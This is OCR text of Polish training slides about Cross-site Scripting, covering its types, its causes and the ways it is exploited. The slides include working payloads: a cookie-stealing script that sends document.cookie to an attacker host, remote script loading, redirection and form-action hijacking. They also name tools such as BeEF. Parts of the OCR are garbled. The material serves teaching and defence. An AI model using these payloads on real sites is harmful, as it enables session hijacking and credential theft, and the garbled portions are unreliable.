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Omowienie podatnosci Cross-site Scripting
Charakterystyka ataku

http://adres.pl/artykul.php?tytul=">

m (ross-site Scripting (XSS) jest </script>alert(document.cookie)
atakiem, ktorego celem jest nie </script>
aplikacja, ale jej uzytkownicy

m Atak polegajacy na umieszczeniu
w tresci strony internetowej aplikacji
nieautoryzowanego kodu,
wykonywanego przez przegladarke
po stronie uzytkownika Your Name; irie

Email |email@email.com.pl

. Atak WYkorzystUje relaCjQ Zanania Comments: [¢zseriprralert (document.cookie) </scripes
przegladarki do aplikacji

Microsoft Internet Explorer x|

1 550id=MScgT11g1zE9MScgT 11g]zEEMZEmZDRIZGMwWMZIhOTFmMzcZMGMSMT B WOOZDYOMLIEVGY2dCBY 4 DAC 2y OIS 3D 04

m Gléwne rodzaje podatnosci XSS: EEEDA N
4 nietrwal’e XSS (non-pefS/:SI."ent/ Tuesday, April 21, 2009 at 05:43:02: Imie email@@email.com.pl
reflected XSS)

» trwate XSS (persistent / stored XSS) s .
} DOM based XSS 3 550id=M3cgT 11gJzE9MScgT 11gIzEAMzEmZDRIZGMwWMZIROTFmMzc 2MGEMSMT Bk WOOZDY OMiLEYEYzdCBY S 0AC 2y OIS 30908




Omowienie podatnosci Cross-site Scripting
Problematyka ochrony przed atakami XSS

m Zrodiem podatnosci jest brak odpowiedniej walidacji danych wprowadzanych
przez uzytkownikow

B Bardzo wazna jest ochrona aplikacji przed podatnosciami XSS, poniewaz
uzytkownik ma bardzo mate mozliwosci ochrony przed tymi atakami

B \Wytaczenie w przegladarce obstugi JavaScript (kod najczescigj
wykorzystywany w atakach XSS) utrudni korzystanie z serwisow
internetowych

B Atak typu ,persistent XSS’ jest praktycznie niezauwazalny przez uzytkownika
B Atak typu ,reflected XSS” wymaga naktonienia uzytkownika do zatadowania
podestanego URL
B metodami inzynierii spotecznej

B podczas zatadowania niezaufanej strony internetowej
B atak nie jest ograniczony tylko do metod GET

m Przegladajac niezaufane serwisy internetowe narazeni jesteSmy na ataki XSS
oraz uruchomienie ztosliwego kodu
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Metody identyfikacji XSS

m Wystanie danych zawierajacych najprostszy kod — najczesciej JavaScript
<SCRIPT>alert(*XSS"); </SCRIPT>
m Niektdre serwisy sg czesciowo chronione przed prostymi atakami XSS:

» filtry typu ,black list’
» filtry typu , white list”

m W celu ominiecia tych filtrdw mozna stosowac wiele technik
wymienionych w RSnake’s XSS Cheat Sheet (http://ha.ckers.org/xss.html)

m Jesli ilos¢ znakdw jest ograniczeniem, mozna pobrac zdalny skrypt z
serwera atakujacego: <SCRIPT SRC=http://ey.pl/a.js></SCRIPT>

m Podatnosc Cross-Site Scripting jest tatwa do identyfikacji przy uzyciu
narzedzi automatycznych



http://ha.ckers.org/xss.html
http://ey.pl/a.js

Podstawowe metody wykorzystania XSS

m Odczytanie zawartosci pliku cookie:

» Kluczowy atak prowadzacy do przejecia sesji innego uzytkownika

» <SCRIPT>document.write(*<IMG
SRC="http://ey.pl/'+document.cookie+" >")</SCRIPT>

m Przekierowanie uzytkownikow:

» Proste przekierowanie:

<SCRIPT language="javascript">window.location.href = "http://ey.pl/inna.html"
:</SCRIPT>

» Przekierowanie wynikéw formularza (np. formularza logowowania do aplikacji):
document.forms[1].action="http://www.ey.pl/"

m Podmiana zawartosci wyswietlanej strony

m Zapisywanie zawartosci pliku cookie:
» Element ataku Session Fixation
» document.cookie = "sessionid=1234567890;expires=Sun, 27-Feb-2011;path=/";
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Zaawansowane metody wykorzystania XSS

m Istnieje mozliwosS¢ uruchamiania dowolnego kodu akceptowanego przez
przegladarke ofiary

m JavaScript jest rozbudowanym jezykiem programowania, ktdrego mozliwosci
wykorzystania limitowane sg wytacznie kreatywnosciq atakujacego

m Atak moze prowadzi¢ do przejecia kontroli nad przegladarka ofiary

m Zaawansowane ataki mogg wykorzystywac fakt, ze komputer w sieci
wewnetrznej ofiary znajduje sie w bardziej zaufanej strefie bezpieczenstwa:
» nieautoryzowany dostep do aplikacji intranetowych
» ominiecie filtrowania opartego na adresach IP
» brak koniecznosci uwierzytelniania w przypadku rozwigzan Single Sign-On
m W Internecie znajdujq sie gotowe pakiety oprogramowania do przejmowania
przegladarek z wykorzystaniem XSS:
» XSS Proxy
» AttackAPI
» BeEF (Browser Exploitation Framework)

m Powstajg réwniez platformy do tworzenia wtasnych exploit'dw XSS: durzosploit
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Zaawansowane metody wykorzystania XSS

B BeEF — Browser Exploitation Framework stworzony przez Wade Alcorn,
do pobrania z http://www.bindshell.net

m Interfejs do zarzadzania zombie — PHP, kod w przegladarce — JavaScript
B Dostepne moduty:
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Zrédto: http://www.bindshell.net
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